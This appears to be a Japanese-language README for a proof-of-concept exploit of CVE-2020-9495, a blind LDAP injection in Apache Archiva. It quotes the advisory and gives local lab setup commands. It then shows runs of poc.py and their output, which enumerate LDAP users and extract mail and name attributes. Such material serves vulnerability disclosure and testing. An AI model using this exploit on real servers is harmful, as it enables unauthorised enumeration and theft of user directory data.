
CVE-2020-9495の概念実証エクスプロイト。Apache ArchivaにおけるLDAPインジェクションの脆弱性です。ブラインドインジェクションを介してLDAPユーザーを列挙し、任意の属性値を外部に持ち出します。
CVE-2020-9495 は、Apache Archiva の 2.2.5 より前のバージョンにおける中程度の深刻度の LDAP インジェクション脆弱性です。これにより、攻撃者は LDAP サーバー上に存在するユーザーの任意の LDAP 属性値を取得できます。
公式の Apache Archiva アドバイザリ より:
特別な値を archiva のログインフォームに提供することで、攻撃者は接続された LDAP サーバーからユーザー属性データを取得できます。特定の文字を使用すると、接続された LDAP サーバー上のユーザーを照会するために使用される LDAP フィルターを変更することが可能です。応答時間を測定することで、LDAP ユーザーオブジェクトから任意の属性データを取得できます。
poc.py スクリプトは、認証されていない攻撃者が Archiva と統合された LDAP サーバー上のユーザーを列挙し、任意のユーザーの任意の属性の値を取得する方法を示しています。
LDAP 認証が有効な Archiva サーバーが既にある場合は、この手順をスキップしてください。
Archiva 2.2.4 をダウンロードして展開します
$ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
$ tar -zxf apache-archiva-2.2.4-bin.tar.gz
OpenLDAP サーバーを実行します
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
users.ldif から LDAP にユーザーをインポートします
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Archiva サーバーを実行します
$ bin/archiva console
Web インターフェース経由で LDAP 認証を有効にして設定します
$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1 ユーザーの LDAP 属性値の取得$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last